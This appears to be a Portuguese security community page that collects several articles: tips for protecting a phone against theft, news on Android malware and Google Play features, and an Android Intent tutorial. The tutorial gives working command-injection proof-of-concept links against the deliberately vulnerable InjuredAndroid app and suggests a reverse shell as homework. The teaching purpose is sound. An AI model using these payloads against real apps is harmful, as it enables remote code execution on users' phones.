Search the Community

Essa é uma história verídica: Tive o celular (um iPhone 7) furtado no último fim de semana e houve tentativas, afortunadamente sem sucesso, de hackear minhas contas. Nesse artigo vou explicar como me protegi, na esperança de que você se proteja também. Isso antes que tenha o celular roubado, furtado ou perdido. 😉 Após perceber que meu celular não estava no meu bolso comecei a dar valor a todas as ações de proteção que tomei. Consegui ligar para o Nubank, que cancelou o cartão (pois é, eu colei aquele lindo porta cartão roxo que eles mandam na traseira do celular e por isso foi tudo junto: celular e cartão de crédito). Por um momento pensei que para cancelar o cartão do Nubank eu precisaria do aplicativo do mesmo, mas eles possuem um número que podemos ligar. E você consegue cancelar seu cartão após confirmar alguns dados. Nota importante: você precisa estar sóbrio o suficiente para confirmar seus dados. Não entrarei em detalhes aqui como fiz. O telefone estava bloqueado com um código numérico de 6 dígitos (padrão nas últimas versões do iOS). E não era nada do tipo "000000" ou "123456". Dá um negócio escrever isso. Na verdade, gostaria de escrever que meu código era alfanumérico (que é mais seguro, em geral), mas não era. Mesmo assim, era "aleatório" o suficiente, creio eu, então confiei que o ladrão não conseguiria desbloquear o aparelho. Como todos os dedos de ambas as minhas mãos estavam no lugar, achei que o ladrão também não tinha minhas digitais para tentar o Touch ID. 😎 Ao chegar em casa, fiz login no iCloud utilizando meu Apple ID para usar o Find My iPhone, que estava ativado. A última localização conhecida foi onde eu estava mesmo, ou seja, o danado desligou o telefone, removeu o chip ou fez alguma outra coisa para que este ficasse sem sinal. Também recebi o seguinte e-mail do Facebook: E-mail do Facebook para confirmação de alteração de senha Ou seja, o abençoado tentou resetar minha senha do Facebook. Como? Bom, o aplicativo do Facebook para iOS não pede senha ao abrir, então deduzi que o ladrão não tinha conseguido desbloquear o telefone. Cliquei no link "avise-nos" destacado no fim da mensagem, verificando que era do Facebook mesmo, só para bloquear novas tentativas. Daí vem minha primeira hipótese: o ladrão queria tomar minha conta do Facebook. Como no Facebook é possível logar via número de telefone, imagino que ele tenha removido o chip do telefone, posto em outro para ver o número e tentado resetar a senha pelo site do Facebook, bastando apenas para isso ter o meu número: Tela de recuperação de senha por número de telefone no Facebook (não é exigido nome de usuário) Não sei como pretendiam clicar no link que chega no meu e-mail. Talvez esperassem que a confirmação chegasse via SMS. Fiz um boletim de ocorrência no site da Polícia Civil e marquei a caixa que os autoriza a bloquear o IMEI do telefone, para que este se torne inútil. Pois é, eu tinha o IMEI e o número de série (ambos necessários para o bloqueio pela polícia) anotados. Também liguei para a operadora e pedir para bloquear o chip. O golpe comum no Brasil de colocar o chip em outro aparelho e começar a falar no WhatsApp com seus amigos e familiares pedindo dinheiro se passando por você também não rolou, pois minha conta do WhatsApp era protegida por um PIN, que é a autenticação de dois fatores do WhatsApp. Vamos às dicas para cada momento: Enquanto seu celular está com você: Anote marca, modelo, IMEI e número de série do seu aparelho em algum lugar. Também o PIN e PUK do chip (vem no cartão). Pode ser mandando um e-mail para você mesmo e deixando-o lá para sempre. Utilize um bom código alfanumérico (letras e números). Nada de padrões de desenho (em Android) ou códigos numéricos como "1234", "0000" ou afins. Jamais use um telefone sem código de bloqueio. Utilize autenticação de dois fatores em todas as suas contas de redes sociais e serviços de Internet (Facebook, Instagram, Gmail, etc), mas nunca por SMS, pois eles têm acesso ao chip quando obtêm seu telefone! Use sempre por aplicativo (recomendo o Authy porque você pode usar no desktop e no celular (e em outros dispositivos) - aí se perder o celular você ainda tem o app no desktop pra te dar os tokens). Imprima os códigos de recuperação do aplicativo de autenticação de dois fatores escolhido no passo acima e guarde em casa, porque com o celular você perde o aplicativo de autenticação de dois fatores junto! Habilite a autenticação de dois fatores (via PIN) no aplicativo do WhatsApp (Ajustes -> Conta -> Confirmação em duas etapas). Do contrário você pode ser vítima do golpe de falsidade ideológica que comentei no texto. Sempre habilite o Touch ID, reconhecimento facial ou senha para todos os aplicativos que suportam. Normalmente os de banco suportam. Para e-mails, sei que o Outlook suporta. Para notas, o Evernote suporta (o que o deixa mais seguro que o aplicativo de notas padrão do telefone). O WhatsApp também suporta. Dessa forma, mesmo que o gatuno roube seu telefone desbloqueado, não verá seu e-mail e não acessará os apps dos bancos. Habilite o PIN do chip (no iPhone esta configuração fica em Ajustes -> Celular -> PIN do SIM). Dessa forma, será solicitada uma senha quando o meliante colocar seu chip em outro aparelho. Lembrando que o chip já vem com um PIN da operadora, que você vai precisar para alterar. Os padrões são Vivo: 8486; TIM: 1010; Claro: 3636; Oi: 8888 mas o correto mesmo é ver no cartão do qual o chip é destacado quando vem. Todo cuidado é pouco aqui, pois é muito fácil bloquear o chip ao tentar desbloqueá-lo incorretamente 3 vezes. Aí só ligando pra operadora, ou usando o PUK para desbloquear. Desabilite a visualização de SMS na tela bloqueada (para que o conteúdo do SMS não seja mostrado). É uma boa ideia desabilitar quaisquer outras notificações também, ou pelo menos previnir que seu conteúdo seja exibido na tela bloqueada. Desabilite a Siri (iOS) na tela bloqueada (Ajustes -> Siri -> Permitir Quando Bloqueado). Do contrário, basta que alguém pergunte "Qual o meu nome?" para saber seu nome, telefone, empresa (dependendo do que constar no seu contato), como mostra a captura de tela abaixo: Siri entregando seus dados pra qualquer um Também é possível pedir à Siri para "Mostrar ligações perdidas". A ordinária vai mostrar a última ligação perdida somente, mas é possível inclusive retornar a ligação, mesmo com a tela bloqueada: Siri mostrando quem te ligou e permitindo retornar As medidas acima você deve tomar agora que tem seu telefone com você, pois todo cuidado é pouco. Vale ressaltar que os ladrões de rua, os "mão leve" podem não ser especialistas em TI, mas certamente existe um "departamento de TI do crime" onde eles levam estes celulares roubados e lá pessoas que entendem do assunto tentam hackear suas contas. Se todas essas medidas forem tomadas, acho que você pode ficar tranquilo como eu fiquei. Pra ser honesto, eu não segui a recomendação de número 7, sobre o PIN do chip e só por isso conseguiram meu número pra tentar resetar a senha do Facebook. Mesmo assim não rolou, pois meu 2FA no Facebook era via app, não SMS (isso porque segui bem a recomendação de número 3) mas serviu pra ver onde vacilei. Depois de ser roubado/furtado ou perder o celular: Se você desconfia que perdeu o celular (não é roubo, nem furto), pode tentar localizar o aparelho, mas tenha em mente que quanto mais tempo você deixar o chip habilitado, mais tempo os bandidos têm para tentar as fraudes. Já aconteceu de eu perder o celular e só conseguir ligar pra ele dois dias depois, pois quem achou não tinha um carregador de iPhone à mão. Se eu tivesse bloqueado o aparelho ou o chip, não conseguiria ligar. Então aqui é sempre delicado. Depende do que rolou e o do nível de risco que você quer assumir (sinta em seu coração), mas: Ligue para a sua operadora e informe o ocorrido. Eles vão bloquear o chip. Cancele seus cartões de crédito (há casos em que ladrões utilizaram Apple Pay e similares para fazer compras ou mesmo pediram comida em apps como iFood e Uber Eats). Faça um boletim de ocorrência na delegacia mais próxima ou pela Internet. Você vai precisar dos dados lá do passo 1 do que fazer enquanto seu celular está com você. Desconecte o dispositivo das suas contas de e-mail, redes sociais e outros serviços (é impossível enumerar todos, mas serviços comuns são Gmail, Facebook, Instagram, Twitter, Spotify, etc). Programe a deleção dos dados pelo site do fabricante (Google, Apple, etc). No novo telefone: Se não teve jeito e você comprou um telefone novo, tudo bem. Vida nova. Só fica esperto(a) porque se você fizer mantiver o mesmo número, os criminosos podem tentar entrar em contato via ligação, SMS, WhatsApp, iMessage, etc se passando pela fabricante do telefone, dizendo que o acharam e pedindo as credenciais do iCloud, por exemplo. Com elas, é possível desbloquear o telefone roubado. Não caia nessa. 😉 Roubo, perda e furto de telefones são muito comuns em grandes cidades. É importante que você tente se previnir. Abaixo, por exemplo, um mapa dos furtos de celulares em São Paulo, dados de 2021. Busque a Secretaria de Segurança Pública do seu estado para informações sobre outras regiões. Fonte: Folha de São Paulo Quem tiver outras dicas, só postar nos comentários que incorporo aqui. Se quiser me contar como fazer pra Android as configurações acima, comenta aí também. Ah, depois de fazer tudo isso no seu telefone, seja um bom amigo e compartilhe este artigo com todo mundo que tem um smartphone pelo bem da nação. 🙏 Atualização em 16/05/2019 - Adicionei uma captura de tela da Siri entregando quem te ligou e recomendei o Authy expressamente, pois parece ser realmente melhor que Duo Mobile e Google Authenticator, já que pode ser utilizado em vários dispositivos (incluindo no desktop) e possui suporte ao Touch ID. Atualização em 16/01/2020 - Recomendei o Evernote para notas, pois tem suporte à autenticação quando o aplicativo é aberto. Também mencionei que é possível configurar essa senha (ou TouchID/FaceID) no WhatsApp. Atualização em 14/04/2022 - Adicionado mapa de furtos de celulares em São Paulo / 2021.

Esse artigo tem como objetivo introduzir as vulnerabilidades que ocorrem no Android por meio do abuso de Intents. Tentarei ser o mais introdutório possível e listarei todas as referências necessárias, para ajudar caso algum conceito pareça muito avançado. Será utilizado o aplicativo InjuredAndroid como exemplo de apk vulnerável. 541v3 para os companheiros da @duphouse! Sem eles esse texto não seria possível. Para mais conteúdos em português, recomendo a série de vídeos do Maycon Vitali sobre Android no geral, assim como a minha talk na DupCon com vulnerabilidades reais. Existe também o @thatmobileproject para posts sobre segurança em mobile. intent:// Os Intents funcionam como a principal forma dos aplicativos se comunicarem internamente entre si. Por exemplo, se um aplicativo quer abrir o app InjuredAndroid ele pode iniciar-lo por meio de um Intent utilizando a URI flag13://rce. Abaixo um exemplo de código que realiza tal ação: Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); startActivity(intent); Além de aceitar todos os elementos de uma URI (scheme, host, path, query, fragment), um Intent também pode levar dados fortemente tipados por meio dos Intent Extras. Na prática, queries e extras são as formas mais comuns de passar dados entre os aplicativos. Eles serão discutidos com exemplos mais adiante. <intent-filter> Como o Android sabe a qual aplicativo se refere flag13://rce? O InjuredAndroid define um Intent Filter que diz quais tipos de Intent o Sistema Operacional deve enviar para ele. O Intent Filter é definido no AndroidManifest.xml. Vamos analizar a definição do Intent Filter relacionado a flag13://rce: https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid/app/src/main/AndroidManifest.xml <activity android:name=".RCEActivity" android:label="@string/title_activity_rce" android:theme="@style/AppTheme.NoActionBar"> <intent-filter android:label="filter_view_flag11"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- Accepts URIs that begin with "flag13://” --> <data android:host="rce" android:scheme="flag13" /> </intent-filter> </activity> O atributo name define qual Activity será inicializada. Como ele começa com ponto, o nome é resolvido para package+.RCEActivity = b3nac.injuredandroid.RCEActivity. Dentro do <intent-filter>, a action se refere ao tipo de ação que será executada. Existe uma miríade de tipos de ações que são definidas na classe Intent, porém, na maioria das vezes é utilizada a action padrão android.intent.action.VIEW. O elemento category contém propriedades extras que definem como o Intent vai se comportar. O valor android.intent.category.DEFAULT define que essa Activity pode ser inicializada mesmo se o Intent não tiver nenhum category. O valor android.intent.category.BROWSABLE dita que a Activity pode ser inicializada pelo browser. Isso é super importante pois transforma qualquer ataque em remoto. Por exemplo, supondo que o usuário entre em um site malicioso, esse site consegue inicializar um Intent que abre o App apenas se o Intent Filter tiver a propriedade BROWSABLE. A tag data especifica quais URLs vão corresponder com esse Intent Filter, no nosso caso, o scheme tem que ser flag13 e o host igual a rce, ficando flag13://rce. Todas as partes da URI como path, port, etc. podem ser definidas. flag13://rce Agora que entedemos como Intents e Intents Filters funcionam, vamos procurar alguma vulnerabilidade no flag13://rce (O "rce" ficou meio óbvio né). 🤷‍♂️ Vejamos um trecho do código-fonte da Activity b3nac.injuredandroid.RCEActivity: 49 if (intent != null && intent.data != null) { 50 copyAssets() 51 val data = intent.data 52 try { 53 val intentParam = data!!.getQueryParameter("binary") 54 val binaryParam = data.getQueryParameter("param") 55 val combinedParam = data.getQueryParameter("combined") 56 if (combinedParam != null) { 57 childRef.addListenerForSingleValueEvent(object : ValueEventListener { 58 override fun onDataChange(dataSnapshot: DataSnapshot) { 59 val value = dataSnapshot.value as String? 60 if (combinedParam == value) { 61 FlagsOverview.flagThirteenButtonColor = true 62 val secure = SecureSharedPrefs() 63 secure.editBoolean(applicationContext, "flagThirteenButtonColor", true) 64 correctFlag() 65 } else { 66 Toast.makeText(this@RCEActivity, "Try again! :D", 67 Toast.LENGTH_SHORT).show() 68 } 69 } 70 71 override fun onCancelled(databaseError: DatabaseError) { 72 Log.e(TAG, "onCancelled", databaseError.toException()) 73 } 74 }) 75 } A Activity é inicializada na função onCreate e é lá que o Intent será devidamente tratado. Na linha 49 o aplicativo checa se intent é nulo. Se não for, ele irá pegar algumas queries binary, param e combined. Se combined for nulo ele não entrará no if da linha 56 e irá para o seguinte else: 76 else { 77 78 val process = Runtime.getRuntime().exec(filesDir.parent + "/files/" + intentParam + " " + binaryParam) 79 val bufferedReader = BufferedReader( 80 InputStreamReader(process.inputStream)) 81 val log = StringBuilder() 82 bufferedReader.forEachLine { 83 log.append(it) 84 } 85 process.waitFor() 86 val tv = findViewById<TextView>(R.id.RCEView) 87 tv.text = log.toString() 88 } Na linha 78, são passadas para a função Runtime.getRuntime().exec() as variáveis intentParam e binaryParam. Como essa função executa comandos no sistema, logo temos um Command Injection através do Intent. Vamos tentar explorá-lo! 😈 Normalmente, num Command Injection, tentaríamos passar algum caractere para executar outro commando, como &, /, |, / ou ;, porém se tentarmos desse jeito o Android emitirá um erro referente à primeira parte do comando em filesDir.parent + "/files/", pois não encontrará o arquivo, ou dará erro de permissão e não executará o resto do nosso payload. Para resolvermos esse problema podemos subir de nível na estrutura de diretórios com ../ até chegarmos no diretório root (raiz), a partir daí podemos executar o /system/bin/sh e executar qualquer comando que quisermos. Nossa PoC terá os seguintes passos : Alvo clica num link malicioso. Browser abre um Intent para b3nac.injuredandroid.RCEActivity. A Activity RCEActivity executa o comando do atacante. Nosso index.html ficaria assim: <a href="flag13://rce?binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27&param=1">pwn me</a> Deixo de tarefa de casa exfiltrar o resultado do comando, ou abrir uma reverse shell no Android. 😉 S.Intent_Extras Agora digamos que ao invés de receber as variáveis via query, o App as recebesse via Intent Extras, como fazer? Para criar um Intent com Extras apenas usamos a função putExtra. Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); intent.putExtra("binary","../../../../../system/bin/sh -c 'id'"); intent.putExtra("param","1"); startActivity(intent); Ok, com isso conseguimos passar Intents Extras por meio de outro App, mas e pelo Browser? Nós podemos utilizar o scheme intent:// para isso! O Intent referente ao código acima ficaria assim : <a href="intent://rce/#Intent;scheme=flag13;S.binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27;S.param=1;end">pwn me</a> Note que primeiro vem o scheme intent://, depois o host rce e logo após a string #Intent, que é obrigatória. A partir daí todas as variáveis são delimitadas por ;. Passamos o scheme=flag13 e definimos os Extras. O nome do Extra é precedido do tipo dele. Como o Extra binary é do tipo String, ele é definido com S.binary. Os Extras podem ter vários tipos. Como a documentação do scheme intent:// é escassa, o melhor jeito é ler o código fonte do Android que faz o parsing dele, com destaque para o seguinte trecho: if (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i); ;end Podem existir vários tipos de vulnerabilidades oriundas dos Intents, incluindo RCE/SQLi/XSS ou até Buffer Overflow. Só vai depender da criatividade do desenvolvedor. Para estudar esse assunto mais a fundo, recomendo a leitura do blog do @bagipro_ (em Inglês) e dos reports públicos de Bug Bounty, também em Inglês. Uma outra observação é que além do InjuredAndroid, você também pode brincar com o Ovaa. |-|4ck th3 |>l4n3t @caioluders

Os analistas de malware do Doctor Web descobriram aplicativos maliciosos no Google Play que roubam logins e senhas de usuários do Facebook. Esses cavalos de Troia (trojans) foram espalhados como softwares inofensivos e instalados mais de 5.856.010 vezes, dizem os pesquisadores. Os aplicativos maliciosos foram detectados com os nomes Android.PWS.Facebook.13, Android.PWS.Facebook.14, Android.PWS.Facebook.17 ou Android.PWS.Facebook.18, de acordo com a empresa. Todas são pequenas variações do mesmo código. No total, os especialistas descobriram 10 desses aplicativos de trojan, sendo que nove estavam disponíveis no Google Play. Veja abaixo quais são os apps: Software de edição de fotos Processing Photo. Ele é detectado pelo Dr.Web Anti-Virus como Android.PWS.Facebook.13 e foi espalhado pelo desenvolvedor chikumburahamilton, sendo instalado mais de 500 mil vezes; Aplicativos que permitiam limitações de acesso para usar outro software instalado em dispositivos Android: App Lock Keep do desenvolvedor Sheralaw Rence, App Lock Manager do desenvolvedor Implummet col e Lockit Master do desenvolvedor Enali mchicolo – todos detectados como Android.PWS.Facebook.13. Eles foram baixados pelo menos 50 mil, 10 e 5 mil vezes, respectivamente; Limpador de lixo do desenvolvedor SNT.rbcl – um utilitário para otimizar o desempenho do dispositivo Android. Ele foi baixado mais de 100 mil vezes. O Dr.Web o detecta como Android.PWS.Facebook.13.; Programas de astrologia Horoscope Daily do desenvolvedor HscopeDaily momo, e Horoscope Pi do desenvolvedor Talleyr Shauna, também detectados como Android.PWS.Facebook.13. O primeiro teve mais de 100 mil instalações, enquanto o último, mais de mil instalações; Programa de condicionamento físico chamado Inwell Fitness e detectado como Android.PWS.Facebook.14 do desenvolvedor Reuben Germaine. Possui mais de 100 mil instalações; Aplicativo de edição de imagens chamado PIP Photo foi divulgado pela desenvolvedora Lillians. Suas várias versões são detectadas como Android.PWS.Facebook.17 e Android.PWS.Facebook.18. Este aplicativo tem mais de 5 milhões de downloads. Após o relatório dos especialistas do Doctor Web ao Google, parte desses aplicativos maliciosos foi removida do Google Play.

O Google anunciou nesta quinta-feira, 6 de maio, uma nova seção de segurança no Google Play que tem o objetivo de ajudar as pessoas a entender os dados que um aplicativo coleta ou compartilha, se esses dados estão protegidos, e detalhes adicionais que afetam a privacidade e a segurança. "Trabalhamos em estreita colaboração com os desenvolvedores para manter o Google Play um espaço seguro e confiável para bilhões de pessoas aproveitarem os aplicativos Android mais recentes", diz Suzanne Frey, VP de produtos, segurança e privacidade Android, em publicação no Droid News. Segundo Suzanne, os desenvolvedores de apps querem maneiras simples de comunicar a segurança do aplicativo, que sejam fáceis de entender e ajudem os usuários a fazer escolhas informadas sobre como seus dados são tratados. Ela afirma que os desenvolvedores também desejam fornecer contexto adicional para explicar o uso de dados e como as práticas de segurança podem afetar a experiência do aplicativo. Para isso, além dos dados que um aplicativo coleta ou compartilha, o Google introduziu na seção de segurança informações se: O aplicativo tem práticas de segurança, como criptografia de dados; O aplicativo segue a política do Google para famílias; O aplicativo precisa desses dados para funcionar ou os usuários têm a opção de compartilhá-los; A seção de segurança do aplicativo é verificada por um terceiro independente; O aplicativo permite que os usuários solicitem a exclusão de dados, se decidirem desinstalá-lo. O Google pedirá ainda que os desenvolvedores que compartilhem: Que tipo de dados são coletados e armazenados. Entre eles, opções potenciais são localização aproximada ou precisa, contatos, informações pessoais (por exemplo, nome, endereço de e-mail), fotos e vídeos, arquivos de áudio e arquivos de armazenamento; Como os dados são usados (por exemplo, para funcionalidade e personalização do aplicativo). Semelhante aos detalhes do aplicativo, como capturas de tela e descrições, os desenvolvedores são responsáveis pelas informações divulgadas em sua seção. O Google Play apresentará uma política que exige que eles forneçam informações precisas, e caso um desenvolvedor tenha deturpado os dados que forneceu, violando a política, o Google pedirá a correção do problema. Os aplicativos que não forem compatíveis estarão sujeitos à aplicação de políticas, diz Suzanne. Todos os aplicativos do Google Play, incluindo os próprios aplicativos do Google, serão obrigados a compartilhar essas informações e fornecer uma política de privacidade. "Estamos empenhados em garantir que os desenvolvedores tenham muito tempo para se preparar", destaca Suzanne, informando que a partir do segundo trimestre de 2022, os novos envios e atualizações de aplicativos já devem incluir essas informações.

Pesquisadores descobriram um novo conjunto de aplicativos falsos para Android na Google Play Store. Os apps sequestram notificações de mensagens SMS para realizarem fraudes de faturamento, segundo informações do The Hacker News. Os aplicativos em questão tem como alvo principal usuários no sudoeste da Ásia e na Península Arábica, atraindo um total de 700 mil downloads antes de serem descobertos e removidos da plataforma. As descobertas foram relatadas de forma independente pelas empresas de segurança Trend Micro e McAfee. Se passando por apps de editores de fotos, papéis de parede, quebra-cabeças, e outros aplicativos relacionados a câmeras, eles possuem um malware embutido que sequestra notificações de mensagens SMS e, em seguida, faz compras não autorizadas, disseram pesquisadores. Os aplicativos falsos aparentemente pertencem ao malware Joker (também conhecido como Bread). A McAfee, no entanto, está rastreando a ameaça com um apelido separado chamado Etinu. O malware é conhecido por realizar fraudes de faturamento, roubando de mensagens SMS, listas de contato e informações do dispositivo. Os autores de malware normalmente empregam uma técnica chamada controle de versão, que se refere ao upload de uma versão limpa do aplicativo na Play Store para criar confiança entre os usuários e, em seguida, adicionam sorrateiramente um código malicioso por meio de atualizações do aplicativo, em uma tentativa de escapar do processo de revisão do app na loja.

Um malware recém-descoberto para Android foi encontrado na Play Store do Google disfarçado de uma ferramenta do Netflix. Segundo o BleepingComputer, ele foi projetado para se espalhar automaticamente para outros dispositivos usando respostas automáticas do WhatsApp às mensagens recebidas. Os pesquisadores da Check Point Research descobriram o novo malware, que se disfarça de um aplicativo chamado FlixOnline e tenta atrair vítimas em potencial com promessas de acesso gratuito ao conteúdo da Netflix. Os pesquisadores revelaram seus resultados de pesquisa ao Google, que rapidamente retirou o aplicativo malicioso da Play Store. Ainda assim, o app malicioso foi baixado cerca de 500 vezes ao longo dos dois meses em que estava disponível para download na loja. Depois que o aplicativo é instalado em um dispositivo Android, o malware inicia um serviço que solicita sobreposição, ignorar a otimização da bateria e permissões de notificação. Quando as permissões são concedidas, o malware gera sobreposições em qualquer janela de aplicativo para roubar credenciais, impedir que o dispositivo desligue seu processo para otimizar o consumo de energia, obter acesso a notificações de aplicativo e gerenciar ou responder a mensagens. Em seguida, ele começa a monitorar novas notificações do WhatsApp para responder automaticamente a todas as mensagens recebidas usando cargas de texto personalizadas recebidas do servidor de comando e controle criadas por seus operadores. A Check Point diz ainda que a técnica é sequestrar a conexão com o WhatsApp capturando notificações, realizando ações predefinidas, como 'dispensar' ou 'responder' por meio do gerenciador de notificações. Os pesquisadores reforçam que o fato de que o malware foi capaz de ser disfarçado tão facilmente e, em última análise, contornar as proteções da Play Store, levanta alguns sinais de alerta graves.

O Google está adicionando um suporte para o serviço de verificação de senha para aplicativos Android para avisar os usuários se suas senhas salvas foram comprometidas ou vazadas em violações de dados. Segundo o BleepingComputer, a empresa lançou inicialmente a extensão do Chrome Password Checkup em fevereiro de 2019. Agora, por meio do recurso de preenchimento automático de senhas, o recurso está disponível para apps do sistema operacional Android. Segundo a reportagem, o preenchimento automático com o Google preenche formulários automaticamente com informações salvas, incluindo credenciais, endereços ou informações de pagamento. Sempre que o usuário preencher ou salvar credenciais em um aplicativo, elas serão verificadas em uma lista de credenciais comprometidas conhecidas. Se a senha estiver comprometida, o usuário será alertado. O preenchimento automático com o Google apenas verifica a segurança das credenciais que já foram salvas na conta do Google ou quando é solicitado pelo Android e o usuário aceita. O BleepingComputer informa que o processo de verificação é seguro, pois apenas hashes são usados para verificar o banco de dados de violação, com credenciais de violação conhecidas com os mesmos dois primeiros bytes sendo usados para a verificação real. O preenchimento automático com o Google está disponível para dispositivos que executam o sistema Android 9 e posterior.

Pesquisadores da Trend Micro descobriram que o aplicativo SHAREit para Android está repleto de falhas que podem permitir o vazamento de dados confidenciais de um usuário e executar código arbitrário usando um código ou aplicativo malicioso. As vulnerabilidades também podem levar à execução remota de código (RCE). Segundo a Trend Micro, o SHAREit foi baixado mais de 1 bilhão de vezes, sendo um aplicativo que permite aos usuários Android compartilharem arquivos entre amigos ou dispositivos. As falhas foram identificadas e relatadas ao fabricante do app há três meses, diz a empresa de segurança, mas continuam sem correção, de acordo com relatório publicado na segunda-feira, que explica também como as falhas podem ser exploradas. "Relatamos essas vulnerabilidades ao fornecedor, que ainda não respondeu. Decidimos divulgar nossa pesquisa 3 meses após o relato, já que muitos usuários podem ser afetados por este ataque, pois o invasor pode roubar dados confidenciais e fazer qualquer coisa com a permissão dos aplicativos. Também não é facilmente detectável", diz o relatório.